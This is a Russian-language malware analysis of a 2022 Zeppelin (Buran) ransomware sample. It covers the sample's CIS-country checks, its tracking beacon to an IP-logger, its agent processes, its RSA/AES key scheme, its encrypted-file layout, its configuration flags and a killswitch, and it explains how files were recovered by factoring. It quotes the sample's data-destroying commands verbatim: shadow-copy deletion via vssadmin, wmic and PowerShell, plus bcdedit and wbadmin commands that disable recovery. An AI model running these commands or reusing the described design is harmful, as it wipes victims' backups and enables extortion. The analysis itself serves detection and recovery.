Программа-вымогатель Zeppelin
Тема воздушных шаров достаточно актуальна сейчас… Поговорим про распространенное семейство программ-вымогателей Zeppelin, или иначе Buran, осуществляющих шифрование файлов на всех дисках и доступных сетевых ресурсах. По ряду причин я отношу Zeppelin к фриковым семействам вымогателей.
Семейство не новое, оно появилось в 2019 году. Программы разработаны на языке программирования Delphi в среде разработки CodeGear RAD Studio 2007.
В программах Zeppelin содержится проверка языковых и локальных настроек для предотвращения шифрования файлов на компьютерах, которые имеют отношение к России и некоторым странам СНГ. Тем не менее, Zeppelin часто используется для атак на российские компании. За декриптор, как и в случае другого семейства — Dharma, атакующие просят немного, и жертвы нередко покупают его, а точнее их, так декриптор необходим соответственно для каждого компьютера.
Мы рассмотрим более свежий образец, датированный августом 2022 года, использованный в атаках конца 2022 и начала 2023 годов:
Образец на VirusTotal
Строки в программе обфусцированы, а именно зашифрованы с помощью алгоритма шифрования RC4, в начале данных содержится 32-байтный ключ расшифровки. Аналогично в процессе работы программа шифрует и другие служебные данные, для шифруемых данных генерируется свой случайный 32-байтный ключ, который помещается в начало.
В зависимости от параметров командной строки программа-вымогатель может осуществлять шифрование конкретного объекта (каталога, файла, сетевого ресурса) или полное шифрование системы.
Шифрование указанного каталога или файла:
zeppelin.exe
PATH
— путь к существующему каталогу или файлу.
Программа-вымогатель в этом случае осуществляет шифрование отдельного файла или рекурсивное шифрование файлов в указанном каталоге и его подкаталогах. При таком способе запуска программа осуществляет шифрование файлов бОльшими блоками вне зависимости от данных конфигурации. Про варианты шифрования будет рассказано ниже.
При отсутствии аргументов командной строки или их некорректных значениях осуществляется полное шифрование системы.
Первоначально программа-вымогатель проверяет различными способами принадлежность скомпрометированной системы определенным странам. Если в конфигурации программы установлен логический флаг использования сети интернет, программа определяет страну местоположения внешнего IP-адреса скомпрометированной системы. Для этого программа открывает ссылку на публичный ресурс геолокации http://geoiptool.com и из полученных данных извлекает название страны, в которой располагается IP-адрес. Программа завершает работу, если страна соответствует одной из списка:
Ukraine |
Belorussia |
Kazakhstan |
Russian Federation |
В случае если логический флаг использования сети интернет не установлен, программа проверяет язык пользователя по умолчанию и завершает свою работу, если он соответствует одному из следующих:
Ukrainian | 422 |
Belarusian | 423 |
Russian | 419 |
Kazakh | 43F |
Дополнительно программа определяет код страны в информации о локальных настройках системы. Программа завершает свою работу, если код страны соответствует одному из следующих:
RU, KZ | 7 |
BY | 375 |
UA | 380 |
В нашем образце был установлен флаг использования сети интернет. При отсутствии доступа в интернет, проверка на основе геолокации не может быть осуществлена, но при этом программа «резонно» делает вывод, что компьютер не российский и шифрует его.
Также если установлен логический флаг использования сети интернет, программа проверяет значение параметра реестра:
[HKCU\Software\Zeppelin]
"Knock"=dword:0000029A
Если параметр отсутствует или имеет иное значение, программа направляет HTTP-запрос GET по адресу https://iplogger.org/1nLDZ4.torrent:
Host: iplogger.org
User-Agent: Zeppelin
Referer:
VICTIM_ID
— идентификатор жертвы такого вида, как например »949-ED3-D07».
Указанная ссылка представляет собой логгер геолокации, который позволяет отслеживать местоположение IP-адресов, с которых открывают указанную ссылку. Таким образом злоумышленники дополнительно отслеживают геолокацию своей жертвы.
После отправки HTTP-запроса программа устанавливает значение параметра реестра «Knock», равным 29Ah.
Далее программа получает список дисков и общих ресурсов для шифрования. Шифрование файлов в зависимости от логического флага в конфигурации может осуществляться в текущем процессе или для каждого диска или общего ресурса из списка запускаются копии программы-вымогателя (по терминологии автора, агенты). Если шифрование осуществляется только текущим процессом, для получения списка общих ресурсов вместо перечисления общих ресурсов с помощью функций WNet API используется команда оболочки:
chcp 1250 && net view
При запуске с использованием агентов программа-вымогатель сохраняет список дисков и общих ресурсов в раздел реестра:
[HKCU\Software\Zeppelin\Paths]
"0"=""
…
"N"=""
PATH_0, …, PATH_N
— пути для шифрования файлов.
Далее программа-вымогатель запускает свой исполняемый файл со следующими параметрами:
zeppelin.exe -agent
N
— индекс пути в списке / наименование параметра в реестре, содержащего путь.
Каждая такая запущенная копия программы-вымогателя (агент) извлекает из соответствующего параметра реестра путь и осуществляет шифрование файлов по данному пути.
Если шифрование файлов осуществляется только текущим процессом, диски и общие ресурсы шифруются последовательно в цикле.
Таким образом, Zeppelin не умеет шифровать файлы многопоточно, но зато может шифровать многопроцессно.
В корне каждого диска и общего сетевого ресурса создаются текстовые файлы .Zeppelin, содержащие шестнадцатеричную строку с экспонентой E ключа RSA-2048, который содержится в коде программы.
При полном шифровании системы программа-вымогатель для удаления теневых копий разделов, удаления резервных копий состояния системы, отключения восстановления в загрузочном меню Windows выполняет с помощью командного интерпретатора следующие команды:
%COMSPEC% /C wmic shadowcopy delete
%COMSPEC% /C bcdedit /set {default} recoveryenabled no
%COMSPEC% /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
%COMSPEC% /C wbadmin delete catalog -quiet
%COMSPEC% /C vssadmin delete shadows /all /quiet
Также в конфигурационных данных программы содержится BAT-файл:
:
: If you don't know what is it, don't touch!
:
: Commands run at the beginning (batch file) -->
:
powershell.exe -ExecutionPolicy ByPass -Command "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}"
WMIC.exe shadowcopy delete /nointeractive
Так как в конфигурации установлен соответствующий логический флаг, программа извлекает BAT-файл под именем %Temp%\~temp001.bat и запускает его.
При полном шифровании системы программа-вымогатель создает поток, который проверяет значение параметра реестра и при его соответствии определенному значению, завершает работу программы, то есть своего рода killswitch:
[HKCU\Software\Zeppelin]
"Stop"=""
KILLSWITCH
— строка, контрольная сумма CRC32 которой равна 2F3DA86Fh.
Анализ декрипторов Zeppelin показал, что в качестве такого значения параметра используется строка »8D9A1F76‑A705‑426D‑8722‑CCD4F4263E2C». Декриптор устанавливает этот параметр реестра, чтобы завершить процессы шифрования перед расшифровкой файлов. Также можно сбрутить любую строку, которая будет соответствовать указанной контрольной сумме CRC32. Только стоит учесть, что в Zeppelin реализация CRC32 немного упрощена. Такими строками могут быть, например:»rDL71»,»V43RiB»,»UPEDXFY»,»gvccozo» и множество еще других.
По завершении процесса полного шифрования программа-вымогатель удаляет раздел реестра:
[HKCU\Software\Zeppelin]
Но по ряду причин раздел может остаться.
Шифрование файлов
Как уже сказано выше, программа-вымогатель осуществляет однопоточное шифрование файлов на дисках и доступных сетевых ресурсах.
Программа пропускает при шифровании каталоги, пути к которым содержат следующие подстроки:
:\$Windows.~bt\ | \Mozilla\ | \Windows Security\ |
:\System Volume Information\ | \Opera Software\ | \Embedded Lockdown Manager\ |
:\Windows.old\ | \Opera\ | \Windows Journal\ |
:\Windows\ | \Tor Browser\ | \MSBuild\ |
:\intel\ | \Common Files\ | \Reference Assemblies\ |
:\nvidia\ | \Internet Explorer\ | \Windows Sidebar\ |
:\inetpub\logs\ | \Windows Defender\ | \Windows Defender Advanced Threat Protection\ |
\All Users\ | \Windows Mail\ | \Microsoft\ |
\AppData\ | \Windows Media Player\ | \Package Cache\ |
\Apple Computer\Safari\ | \Windows Multimedia Platform\ | \Microsoft Help\ |
\Application Data\ | \Windows NT\ | \Microsoft.NET\ |
\Boot\ | \Windows Photo Viewer\ | \Microsoft Visual Studio |
\Google\ | \Windows Portable Devices\ | %WINDIR% |
\Google\Chrome\ | \WindowsPowerShell\ | |
\Mozilla Firefox\ | \Windows Photo Viewer\ |
Программа пропускает при шифровании файлы со следующими именами:
boot.ini | desktop.ini | ntldr | ntuser.ini |
bootfont.bin | iconcache.db | ntuser.dat | thumbs.db |
bootsect.bak | ntdetect.com | ntuser.dat.log | !!! ALL YOUR FILES ARE ENCRYPTED!!!.TXT |
Также не шифруются файлы с расширениями:
».hta»,».bat»,».cmd»,».com»,».cpl»,».dll»,».msc»,».msp»,».pif»,».scr»,».sys»,».log»,».lnk»,».zeppelin» |
В программе-вымогателе содержится публичный ключ RSA-2048 в виде шестнадцатеричных строк с модулем N и экспонентой E.
При первом запуске программа генерирует пару ключей RSA-155. Сгенерированный публичный ключ шифруется с помощью RC4 и в кодировке Base64 сохраняется в параметр реестра:
[HKCU\Software\Zeppelin\Keys]
"Public Key"=""
ENC_PUB_KEY
— зашифрованный публичный ключ в кодировке Base64.
Приватный ключ RSA-155 (рис. 1)шифруется с помощью публичного ключа RSA‑2048, содержащегося в теле программы.
Рис. 1. Приватный ключ RSA-155 перед шифрованием
Полученное в результате данного шифрования большое число в виде десятичной строки (рис. 2) также шифруется с помощью RC4 и в кодировке Base64 сохраняется в параметр реестра:
[HKCU\Software\Zeppelin\Keys]
"Encrypted Private Key"=""
ENC_PRIV_KEY
— зашифрованный приватный ключ в кодировке Base64.
Рис. 2. Зашифрованный с помощью публичного ключа RSA-2048 приватный ключ RSA-155
При каждом следующем запуске программа-вымогатель использует уже значения ключей RSA-155 из указанных выше параметров реестра и не осуществляет их генерацию.
Для реализации RSA в Zeppelin используется библиотека DFF Library, а также демо-проект RSA Public Key Demo.
Шифрование данных осуществляется с использованием алгоритма AES-256 CBC. Для каждого файла генерируются 32-байтный ключ и 16-байтный вектор инициализации IV. В зависимости от конфигурационных данных и способа вызова программы шифрование файлов может осуществляться блоками в двух вариантах:
размер блока — 16 килобайт, общий размер блоков — не более 256 килобайт;
размер блока — 64 килобайта, общий размер блоков — не более 1 мегабайта.
Данные файлы шифруются одним блоком, в начало которого предварительно добавляется строка »666» размером 3 байта. Это сделано, чтобы еще больше усложнить и так не легкую жизнь вирусных аналитиков.
Ключ шифрования и вектор IV шифруются публичным ключом RSA-155 (рис. 3).
Рис. 3. Генерация ключа и IV AES, их шифрование с помощью RSA-155 и RC4
После шифрования данных файла в его начало (рис. 4) и конец добавляются блоки метаданных.
Блок метаданных в начале файла | ||
Смещение | Размер | Описание |
000h | 36 | Маркер зашифрованного файла |
024h | 8 | Размер выровненных зашифрованных данных |
02Сh | 8 | Размер оригинальных данных |
Рис. 4. Начало зашифрованного файла
Блок метаданных в конце файла | ||
Смещение | Размер | Описание |
-M_SIZE | 4 | Размер зашифрованного списка смещений блоков |
Зашифрованный (RC4) список смещений блоков зашифрованных данных в виде 64-битных целых чисел | ||
4 | Размер зашифрованных ключа и IV AES-256 CBC | |
Зашифрованные ключ и IV AES-256 CBC. Данные зашифрованы публичным ключом RSA-155, в зашифрованном виде данные представляют большое число в виде строки в десятичном представлении. Указанная строка дополнительно зашифрована RC4 | ||
4 | Размер зашифрованного приватного ключа RSA-155 | |
Зашифрованный приватный ключ RSA-155. Приватный ключ зашифрован публичным ключом RSA-2048, в зашифрованном виде данные представляют большое число в виде строки в десятичном представлении. Указанная строка дополнительно зашифрована RC4 | ||
-010h | 4 | Размер блока шифруемых данных |
-00Ch | 8 | Размер оригинального файла |
-004h | 4 | Размер блока метаданных (M_SIZE) |
Имена зашифрованных файлов имеют следующий вид:
FILENAME
— оригинальное имя файла;
RANSOM_EXT
— расширение, содержащееся в коде программы (»loplup»);
VICTIM_ID
— идентификатор жертвы, сформированный из первых 11 шестнадцатеричных символов модуля N публичного ключа RSA‑155 (рис. 1), в которой 3-й и 7‑й символы (нумерация с 0) заменены на дефис (например,»949-ED3-D07»).
После обработки каждого подкаталога программа-вымогатель записывает в параметр реестра информацию о текущем количестве зашифрованных файлов и путь к последнему обработанному каталогу:
[HKCU\Software\Zeppelin\Log]
""="|"
ENC_FILE_COUNT
— текущее количество зашифрованных файлов;
DIR_PATH
— путь к последнему обработанному подкаталогу.
В каждом обработанном каталоге программа-вымогатель создает текстовые файлы !!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT
(рис. 5) с требованием выкупа за расшифровку файлов.
Рис. 5. Текст требования выкупа за расшифровку данных
У вас может возникнуть резонный вопрос: «А можно расшифровать данные?» Ответ в данном случае: теоретически, да. В данной статье коллеги из Unit221b рассказывают, как это можно сделать. Очевидно, приватный ключ RSA‑155, расшифровать не удастся, ключ зашифрован публичным ключом RSA-2048. А вот получить его вполне возможно, только надо решить задачу факторизации, то есть разложить модуль ключа n RSA-155 на простые числа — факторы p и q:
n = p * q
Полученные факторы p и q, а также открытая экспонента e позволят получить компонент приватного ключа — закрытую экспоненту d. Не буду останавливаться на этом подробно, кому интересно, почитайте про RSA, поверьте, будет интересно. Тем более, китайские математики предрекли в ближайшие годы конец криптографической жизни RSA.
Все хорошо, но откуда взять компоненты открытого ключа RSA‑155 n и e? Оказывается, все просто! Ключ в зашифрованном виде (RC4) содержался в параметре реестре «Public Key». Если даже раздел Zeppelin удален, то ничто не помешает извлечь эти данные из журнала транзакций реестра и расшифровать (RC4).
В итоге, у коллег из Unit221b распределенный процесс факторизации занял на их вычислительном кластере всего 6 часов. Так что расшифровать можно, но это, увы, доступно не всем.
Конфигурация программы-вымогателя
Логические флаги, определяющие настройки программы-вымогателя
Рис. 6. Инициализация некоторых конфигурационных данных и логических флагов
Текущее значение | Описание |
False | Использовать для шифрования компьютера содержащиеся в конфигурации локальные ключи RSA-155 |
False | Осуществлять полное шифрование системы только в текущем процессе, в ином случае для шифрования каждого диска или общего ресурса запускается копия программы-вымогателя в режиме агента (с аргументом командной строки »-agent») |
False | Не используется |
True | Использовать сеть интернет для определения страны местоположения внешнего IP-адреса скомпрометированной системы и отправки HTTP-запроса по указанной в конфигурации ссылке IP Logger |
False | Осуществлять закрепление в системе. Программа выбирает случайным образом имя для EXE-файла из следующих имен: services.exe, TrustedInstaller.exe, csrss.exe, explorer.exe, lsass.exe, smss.exe, spoolsv.exe, svchost.exe, taskeng.exe. Выбранное имя сохраняется в зашифрованном (RC4) и кодированном в Base64 виде в параметр реестра: |
True | Запустить содержащийся в теле программы-вымогателя BAT-файл. Если флаг установлен, программа извлекает BAT-файл под именем %Temp%\~temp001.bat и запускает его |
False | Завершать указанные в конфигурации процессы |
False | Пытаться разблокировать и снова шифровать файл после неудачной попытки шифрования |
False | Удалять себя. Если флаг установлен, программа запускает процесс notepad.exe, в который внедряет код, удаляющий исполняемый файл программы-вымогателя |
False | При закреплении программы-вымогателя осуществлять запуск ее скопированного исполняемого файла от имени администратора (runas) |
False | Осуществлять шифрование файлов большими блоками |
Конфигурационные данные
Модуль N публичного ключа RSA-2048 |
|
Экспонента E публичного ключа RSA-2048 |
|
Локальный публичный ключ RSA-155 |
|
Локальный Зашифрованный приватный ключ RSA-155 |
|
UID (не используется) |
|
Белый список имен файлов |
|
Белый список подстрок путей к файлам |
|
Список завершаемых процессов |
|
Содержимое BAT-файла для запуска |
powershell.exe -ExecutionPolicy ByPass -Command «Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete ();}» |
IP Logger URL |
|
Имя текстового файла с требованием выкупа |
|
Расширение зашифрованных файлов |
|
Различные программы на Python, связанные с программами-вымогателями Zeppelin, YARA-правило для детектирования и т.п вы можете найти на моем гитхабе.